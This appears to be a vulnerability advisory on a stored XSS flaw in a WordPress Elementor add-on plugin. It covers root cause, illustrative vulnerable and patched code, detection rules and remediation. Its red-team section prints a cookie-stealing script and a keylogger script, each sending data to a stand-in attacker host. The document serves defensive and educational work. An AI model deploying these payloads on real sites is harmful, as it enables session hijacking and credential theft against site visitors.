CVE-2024-11829

Executive Summary

CVE-2024-11829 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "The Plus Addons for Elementor – Elementor Addons, Page Templates, Widgets, Mega Menu, WooCommerce" (vendor: Posimyth). The flaw resides in the Table Widget's searchable_label parameter, affecting all versions up to and including 6.1.8. Due to insufficient input sanitization and output escaping, authenticated attackers with Contributor-level access or higher can inject arbitrary web scripts. These scripts execute whenever a user accesses the compromised page, leading to session hijacking, data theft, or defacement. The CVSS score is 6.4 (Medium), and no public exploit code or patch details are currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin's update channel and apply any security patches immediately. The plugin is not an NPM, PyPI, Go, or Ruby package, but its inclusion in a WordPress site introduces supply chain risk if the plugin is not kept up to date.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: Required (victim must visit the page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. The vulnerability requires authentication but can be exploited by low-privilege users. The impact is limited to stored XSS, which can be used to steal cookies, redirect users, or deface pages.

Deep Dive & Mechanics

The vulnerability exists in the Table Widget of The Plus Addons for Elementor. The searchable_label parameter is used to define labels for searchable columns. When a user with Contributor-level access or higher creates or edits a page using this widget, they can inject malicious JavaScript into the searchable_label field. The plugin fails to properly sanitize this input and does not escape the output when rendering the widget on the front end.

Attack Flow:

1. An authenticated attacker with Contributor-level access creates a new page or edits an existing one.
2. The attacker adds the Table Widget and sets the searchable_label parameter to a malicious payload, e.g., <script>alert('XSS')</script>.
3. The payload is stored in the WordPress database.
4. When any user (including administrators) visits the page, the script executes in their browser context.

Root Cause: The plugin uses esc_attr() or similar functions incorrectly, or omits output escaping entirely for this parameter. The lack of wp_kses() or htmlspecialchars() allows arbitrary HTML/JavaScript to be stored and rendered.

Vulnerable vs. Patched Code

Vulnerable Code (example from version 6.1.8):

// In the widget render method
$searchable_label = $settings['searchable_label'];
echo '<th>' . $searchable_label . '</th>';

Patched Code (expected fix):

// Properly escape output
$searchable_label = esc_html( $settings['searchable_label'] );
echo '<th>' . $searchable_label . '</th>';

The vulnerable code directly echoes the user-supplied value without escaping. The patched code uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with The Plus Addons for Elementor <= 6.1.8
• Authenticated user with Contributor-level access or higher

Steps:

1. Log in to WordPress as a Contributor.
2. Navigate to Pages > Add New.
3. Add the "Table" widget from The Plus Addons.
4. In the widget settings, locate the searchable_label field.
5. Inject a payload such as:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

6. Save and publish the page.
7. When an administrator or other user visits the page, the script executes, exfiltrating cookies.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    new Image().src = 'https://attacker.com/log?key=' + e.key;
});
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual searchable_label values in page/post revisions.
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hardening:

• Update the plugin to the latest version as soon as a patch is released.
• Restrict Contributor-level permissions; consider using a role editor plugin to limit widget access.
• Regularly audit pages for injected scripts.

Indicators of Compromise (IOCs)

• File System: Modified page/post content in the wp_posts table containing <script> tags.
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Logs: Unusual entries in WordPress debug log or web server access logs showing requests to pages with the Table Widget.
• Database: Entries in wp_postmeta with meta_key containing searchable_label and meta_value containing JavaScript.

Detection Engineering

YARA Rule

rule CVE_2024_11829_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in The Plus Addons for Elementor Table Widget"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11829"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/i
        $payload2 = /on\w+\s*=\s*['\"].*?['\"]/i
        $payload3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-11829 Stored XSS in The Plus Addons for Elementor
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via the searchable_label parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'searchable_label'
            - '<script'
            - 'onerror'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in widget labels (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-11829 Stored XSS Attempt"; flow:to_server,established; content:"searchable_label"; http_client_body; nocase; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin to a patched version as soon as Posimyth releases it. Monitor the WordPress plugin repository for updates.
2. Disable the Table Widget temporarily if no patch is available. This can be done via the plugin settings or by removing the widget's PHP files.
3. Implement a Web Application Firewall (WAF) rule to block requests containing <script> in the searchable_label parameter.

Long-Term Measures:

• Enforce the principle of least privilege: limit Contributor-level access to trusted users only.
• Regularly audit WordPress plugins for known vulnerabilities using tools like WPScan.
• Use a security plugin (e.g., Wordfence) to monitor for file changes and malicious activity.

Patch Details: No official patch is available at the time of writing. Users should check the plugin's changelog for version 6.1.9 or later.

Valters IT
DevSecOps & Cyber Threat Intelligence